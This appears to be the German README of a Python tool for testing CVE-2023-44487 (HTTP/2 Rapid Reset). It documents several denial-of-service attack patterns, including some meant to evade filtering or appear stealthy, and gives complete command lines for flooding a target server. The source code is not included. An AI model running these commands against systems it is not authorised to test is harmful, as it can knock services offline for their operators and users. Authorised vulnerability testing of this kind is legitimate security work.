CVE-2023-44487 HTTP/2 Rapid Reset Testwerkzeug – Erweiterte Ausgabe

Ein umfassendes Python-Testwerkzeug für CVE-2023-44487, die HTTP/2-Rapid-Reset-Schwachstelle. Diese erweiterte Version bietet granulare Kontrolle über Testparameter, mehrere Angriffsmuster und erweiterte Überwachungsfunktionen.

⚠️ WICHTIGER HINWEIS

Dieses Werkzeug ist NUR für Bildungszwecke und autorisierte Tests gedacht!

Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung haben
Unautorisierte Nutzung kann illegal sein und Dienstunterbrechungen verursachen
Das Werkzeug führt einen Denial-of-Service-Angriff aus, der die Serververfügbarkeit beeinträchtigen kann
Stellen Sie sicher, dass Sie vor dem Testen eine ordnungsgemäße Autorisierung haben

🔍 Über CVE-2023-44487

CVE-2023-44487, auch bekannt als „HTTP/2 Rapid Reset", ist eine kritische Schwachstelle im HTTP/2-Protokoll, die Angreifern Folgendes ermöglicht:

Denial of Service durch schnelles Senden und Abbrechen von HTTP/2-Streams verursachen
Übermäßige Serverressourcen mit minimalen Client-Ressourcen verbrauchen
Viele herkömmliche Rate-Limiting-Mechanismen umgehen
Große Webserver und Load Balancer beeinträchtigen

CVSS-Score: 7,5 (Hoch)

Auswirkung: Denial of Service, Ressourcenerschöpfung

🚀 Erweiterte Funktionen

Mehrere Angriffsmuster

⚡ Rapid Reset: Standard-HEADERS + sofortiges RST_STREAM
💥 Burst Reset: Anfragen in Bursts mit konfigurierbaren Verzögerungen
📈 Gradual Reset: Allmählich steigende Angriffsrate
🎲 Random Reset: Zufälliges Timing zur Umgehung prädiktiver Filter
🌊 Continuation Flood: CONTINUATION-Frame-Flood-Angriff
🔀 Gemischtes Muster: Kombination mehrerer Muster

Granulare Konfiguration

📡 Verbindungssteuerung: Timeouts, Verzögerungen, Parallelitätsgrenzen
⏱️ Timing-Steuerung: Präzises Timing mit Jitter-Unterstützung
🌐 HTTP/2-Protokoll: Fenstergrößen, Framegrößen, HPACK-Einstellungen
📋 Header-Anpassung: Benutzerdefinierte Header, zufällige Generierung
🔬 Erweiterte Optionen: Stream-ID-Randomisierung, Prioritäts-Frames
📊 Überwachung: Latenzverfolgung, Verkehrsanalyse, Fehlerüberwachung

Ausgabeformate

🖥️ Konsole: Menschenlesbar mit Fortschrittsaktualisierungen
📋 JSON: Maschinenlesbare strukturierte Daten
📊 CSV: Tabellenkalkulationskompatibel für Analysen
🗃️ XML: Integration in Unternehmenswerkzeuge

Sicherheitsfunktionen

🛡️ Autorisierungskontrollen: Pflichtbestätigungsaufforderungen
🔒 Rate Limiting: Integrierte Verbindungs- und Anfragegrenzen
🎛️ Fehlerbehandlung: Graceful Failure Handling
📝 Prüfpfad: Umfassende Protokollierungsfunktionen

📋 Anforderungen

Python 3.7 oder höher
Keine externen Abhängigkeiten (verwendet nur die Python-Standardbibliothek)

📖 Installation

Skript klonen oder herunterladen:

git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset

Skript ausführbar machen:

chmod +x rapid_reset_test.py

Python-Version überprüfen:

python3 --version  # Sollte 3.7+ sein

🔧 Verwendung

Grundlegende Verwendung

python3 rapid_reset_test.py https://target-server.com

Erweiterte Verwendungsbeispiele

1. Hochdurchsatz-Lasttest

python3 rapid_reset_test.py https://target.com \
    --connections 50 \
    --requests 1000 \
    --delay 0 \
    --pattern rapid_reset \
    --track-latency \
    --output json

2. Stealth-Test mit benutzerdefinierten Headern

python3 rapid_reset_test.py https://target.com \
    --pattern burst_reset \
    --burst-size 5 \
    --burst-delay 2.0 \
    --custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
    --jitter 0.3

3. Protokollspezifischer Test

python3 rapid_reset_test.py https://target.com \
    --window-size 32768 \
    --frame-size 32768 \
    --header-table-size 8192 \
    --enable-push \
    --priority-frames \
    --randomize-streams

4. Umfassender Überwachungstest

python3 rapid_reset_test.py https://target.com \
    --connections 10 \
    --requests 200 \
    --pattern mixed_pattern \
    --track-latency \
    --track-responses \
    --monitor-memory \
    --verbose \
    --debug \
    --log-file attack.log

5. CONTINUATION-Flood-Angriff

python3 rapid_reset_test.py https://target.com \
    --pattern continuation_flood \
    --requests 50 \
    --random-headers \
    --header-count 20

Vollständige Befehlszeilenoptionen

Verbindungseinstellungen

Option	Beschreibung	Standard
`-c, --connections N`	Anzahl gleichzeitiger Verbindungen	1
`--connection-timeout SEC`	Verbindungstimeout in Sekunden	10
`--read-timeout SEC`	Lese-Timeout für Antworten	5
`--connection-delay SEC`	Verzögerung zwischen Verbindungen	0,0

Anfrageeinstellungen

Option	Beschreibung	Standard
`-r, --requests N`	Anfragen pro Verbindung	100
`--delay SEC`	Verzögerung zwischen HEADERS und RST_STREAM	0,001
`--request-delay SEC`	Verzögerung zwischen Anfragen	0,0
`--jitter FACTOR`	Timing-Randomisierungsfaktor	0,0

Angriffsmuster

Option	Beschreibung	Standard
`--pattern TYPE`	Zu verwendendes Angriffsmuster	rapid_reset
`--burst-size N`	Anfragen pro Burst	10
`--burst-delay SEC`	Verzögerung zwischen Bursts	0,1

Verfügbare Muster:

rapid_reset – Standard-Rapid-Reset-Angriff
burst_reset – Burst-basierte Angriffe
gradual_reset – Allmählich steigende Rate
random_reset – Zufälliges Timing
continuation_flood – CONTINUATION-Frame-Flood
mixed_pattern – Mischung aus Mustern

HTTP/2-Protokolleinstellungen

Option	Beschreibung	Standard
`--window-size BYTES`	HTTP/2-Anfangsfenstergröße	65535
`--frame-size BYTES`	Maximale Framegröße	16384
`--header-table-size BYTES`	HPACK-Header-Tabellengröße	4096
`--enable-push`	HTTP/2-Server-Push aktivieren	False
`--rst-error-code CODE`	RST_STREAM-Fehlercode	8

Header-Anpassung

Option	Beschreibung	Standard
`--custom-headers HEADER`	Benutzerdefinierte Header (Name: Wert)	None
`--random-headers`	Zufällige Header generieren	False
`--header-count N`	Anzahl zufälliger Header	5

Erweiterte Optionen

Option	Beschreibung	Standard
`--randomize-streams`	Zufällige Stream-IDs verwenden	False
`--priority-frames`	Prioritätsinformationen einbeziehen	False
`--continue-on-error`	Nach Fehlern fortfahren	True
`--max-errors N`	Maximale Fehler vor dem Stoppen	10

Überwachungsoptionen

Option	Beschreibung	Standard
`--track-latency`	Anfragelatenz verfolgen	False
`--track-responses`	Serverantworten verfolgen	False
`--monitor-memory`	Speichernutzung überwachen	False

Ausgabeoptionen

Option	Beschreibung	Standard
`--output FORMAT`	Ausgabeformat	console
`--output-file FILE`	Ausgabedateiname	automatisch generiert
`--verbose, -v`	Ausführliche Ausgabe	False
`--debug`	Debug-Protokollierung	False
`--log-file FILE`	In Datei protokollieren	None

Verfügbare Ausgabeformate:

console – Menschenlesbare Konsolenausgabe
json – Maschinenlesbares JSON
csv – Tabellenkalkulationskompatibles CSV
xml – Strukturiertes XML-Format

📊 Ergebnisse verstehen

Erweitertes Ergebnisformat

Das Werkzeug liefert umfassende Ergebnisse, einschließlich:

CVE_2023_44487-Rapid_Reset

Beliebteste